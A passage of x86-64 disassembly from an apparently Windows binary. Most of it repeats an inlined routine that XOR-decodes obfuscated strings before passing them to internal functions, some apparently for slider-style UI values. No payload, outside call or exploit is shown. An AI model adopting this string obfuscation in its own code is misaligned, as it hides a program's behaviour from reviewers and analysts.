paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a60e0
cmp r8d, 0x1b
jge 0x1400a6230
movsxd rax, r8d
lea r9, [rbp + 0x1210]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400a6200
mov eax, dword [0x140144448]
mov dword [rbp + 0x928], eax
movzx eax, word [0x14014444c]
mov word [rbp + 0x92c], ax
movzx eax, byte [0x14014444e]
movsd xmm0, qword [0x140144440]
mov byte [rbp + 0x92e], al
movsd qword [rbp + 0x920], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a637c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144440]
xorps xmm2, xmm0
movd dword [rbp + 0x920], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x924]
xorps xmm2, xmm1
movd dword [rbp + 0x924], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x920]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400a6390
lea r8, [0x1401a9832]
lea rdx, [rbp + 0x1210]
lea rcx, [rbp + 0x920]
call fcn.14007f300
movups xmm0, xmmword [str.o_KSS]
movups xmmword [rbp + 0xf98], xmm0
mov eax, dword [0x140146d60]
mov dword [rbp + 0xfa8], eax
movzx eax, word [0x140146d64]
mov word [rbp + 0xfac], ax
cmp byte [0x140146d65], 0
je 0x1400a65a0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a655a
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xf9c]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a6451
cmp r8d, 0x16
jge 0x1400a65a0
movsxd rax, r8d
lea r9, [rbp + 0xf98]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400a6570
movsd xmm0, qword [0x140144488]
movsd qword [rbp + 0x3b0], xmm0
movzx eax, word [0x140144490]
mov word [rbp + 0x3b8], ax
lea r8, [0x1401a9835]
lea rdx, [rbp + 0xf98]
lea rcx, [rbp + 0x3b0]
cmp byte [0x140144491], 0
je 0x1400a6626
mov byte [rbp + 0x3b0], Ordinal_79
xor byte [rbp + 0x3b1], 0x39
xor byte [rbp + 0x3b2], 0x3a
xor byte [rbp + 0x3b3], 0x3b
xor byte [rbp + 0x3b4], 0x3c
xor byte [rbp + 0x3b5], 0x3d
xor byte [rbp + 0x3b6], 0x3e
xor byte [rbp + 0x3b7], 0x3f
xor byte [rbp + 0x3b8], 0x40
xor byte [rbp + 0x3b9], 0x41
call fcn.14007f300
movups xmm0, xmmword [str.mWVRQTJZ_a._f_i.___P]
movups xmmword [rbp + 0x1110], xmm0
movzx eax, byte [0x140144f08]
movsd xmm0, qword [0x140144f00]
mov byte [rbp + 0x1128], al
movsd qword [rbp + 0x1120], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a67a9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1114]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a66a0
cmp r8d, 0x19
jge 0x1400a67f0
movsxd rax, r8d
lea r9, [rbp + 0x1110]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400a67c0
mov eax, dword [0x140144b08]
mov dword [rbp + 0x968], eax
movzx eax, word [0x140144b0c]
mov word [rbp + 0x96c], ax
movzx eax, byte [0x140144b0e]
movsd xmm0, qword [str.mWVRQTJZ_a]
mov byte [rbp + 0x96e], al
movsd qword [rbp + 0x960], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a693c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.mWVRQTJZ_a]
xorps xmm2, xmm0
movd dword [rbp + 0x960], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x964]
xorps xmm2, xmm1
movd dword [rbp + 0x964], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x960]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400a6950
lea r8, [0x1401a9837]
lea rdx, [rbp + 0x1110]
lea rcx, [rbp + 0x960]
call fcn.14007f300
movups xmm0, xmmword [0x1401449e8]
movups xmmword [rbp + 0x1350], xmm0
movsd xmm0, qword [0x1401449f8]
movsd qword [rbp + 0x1360], xmm0
mov eax, dword [0x140144a00]
mov dword [rbp + 0x1368], eax
movzx eax, word [0x140144a04]
mov word [rbp + 0x136c], ax
movzx eax, byte [0x140144a06]
mov byte [rbp + 0x136e], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a6b2a
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1354]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a6a21
cmp r8d, 0x1f
jge 0x1400a6b70
movsxd rax, r8d
lea r9, [rbp + 0x1350]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400a6b40
mov eax, dword [0x140145d80]
mov dword [rbp + 0x778], eax
movzx eax, byte [0x140145d84]
movsd xmm0, qword [str.XWZ_X]
mov byte [rbp + 0x77c], al
movsd qword [rbp + 0x770], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a6cae
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.XWZ_X]
xorps xmm2, xmm0
movd dword [rbp + 0x770], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x774]
xorps xmm2, xmm1
movd dword [rbp + 0x774], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x770]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a6cc0
lea r8, [0x1401a9834]
lea rdx, [rbp + 0x1350]
lea rcx, [rbp + 0x770]
call fcn.14007f300
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movsd xmm0, qword [0x140146868]
movsd qword [rbp + 0x780], xmm0
mov eax, dword [0x140146870]
mov dword [rbp + 0x788], eax
movzx eax, byte [0x140146874]
mov byte [rbp + 0x78c], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a6e5a
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140146868]
xorps xmm2, xmm0
movd dword [rbp + 0x780], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x784]
xorps xmm2, xmm1
movd dword [rbp + 0x784], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x780]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a6e70
mov eax, dword [str.upix_]
mov dword [rbp - 0x60], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x60], Ordinal_79
xor byte [rbp - 0x5f], 0x39
xor byte [rbp - 0x5e], 0x3a
xor byte [rbp - 0x5d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x5c], al
mov r9b, 1
movaps xmm0, xmm14
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x780]
lea rcx, [rbp - 0x60]
call fcn.14007f140
movsd xmm0, qword [str.yTWT]
movsd qword [rbp + 0x4e0], xmm0
movzx ecx, word [0x140144e28]
mov word [rbp + 0x4e8], cx
movzx eax, byte [0x140144e2a]
mov dword [rbp + 0x1850], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x1848], r13d
mov byte [rbp + 0x4e0], 0x41
xor byte [rbp + 0x4e1], 0x39
xor byte [rbp + 0x4e2], 0x3a
xor byte [rbp + 0x4e3], 0x3b
xor byte [rbp + 0x4e4], 0x3c
xor byte [rbp + 0x4e5], 0x3d
xor byte [rbp + 0x4e6], 0x3e
xor byte [rbp + 0x4e7], 0x3f
xor cl, 0x40
mov byte [rbp + 0x4e8], cl
xor byte [rbp + 0x4e9], 0x41
xor al, 0x42
mov byte [rbp + 0x4ea], al
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x1850]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1848]
lea r8, reloc.WLDAP32.dll_Ordinal_30
mov edx, 4
lea rcx, [rbp + 0x4e0]
call fcn.14003b8c0
movups xmm0, xmmword [0x140144e30]
movups xmmword [rbp + 0xd28], xmm0
movzx eax, word [0x140144e40]
mov word [rbp + 0xd38], ax
movzx eax, byte [0x140144e42]
mov byte [rbp + 0xd3a], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a7119
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xd2c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a7010
cmp r8d, 0x13
jge 0x1400a7160
movsxd rax, r8d
lea r9, [rbp + 0xd28]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400a7130
mov dword [rbp + 0x1840], 0x43960000
mov dword [rbp + 0x1838], 0x3f800000
mov dword [rsp + 0x30], r13d
lea rax, str._.3f
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1840]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1838]
lea r8, [0x140160a34]
mov edx, 8
lea rcx, [rbp + 0xd28]
call fcn.14003b8c0
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0xc8]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0xd0], xmm0
mov dword [rbp + 0xd4], 0x41c80000
movsd xmm0, qword [str.jRPQ]
movsd qword [rbp + 0x600], xmm0
mov eax, dword [0x140146390]
mov dword [rbp + 0x608], eax
cmp byte [0x140146393], 0
je 0x1400a7360
mov r8d, r13d
cmp r12d, 2
jl 0x1400a731f
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.jRPQ]
xorps xmm2, xmm0
movd dword [rbp + 0x600], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x604]
xorps xmm2, xmm1
movd dword [rbp + 0x604], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x600]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a7330
xor r8d, r8d
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x600]
call fcn.140037850
call fcn.14000cdc0
jmp 0x1400ac87a
cmp byte [0x1401ab1bb], 0
je 0x1400a97b7
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
movss dword [rax + 0x118], xmm8
movss dword [rax + 0x11c], xmm7
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movups xmm0, xmmword [0x140144d08]
movups xmmword [rbp + 0xcc8], xmm0
movzx eax, word [0x140144d18]
mov word [rbp + 0xcd8], ax
cmp byte [0x140144d19], 0
je 0x1400a7590
mov r8d, r13d
cmp r12d, 2
jl 0x1400a7549
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xccc]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a7440
cmp r8d, 0x12
jge 0x1400a7590
movsxd rax, r8d
lea r9, [rbp + 0xcc8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
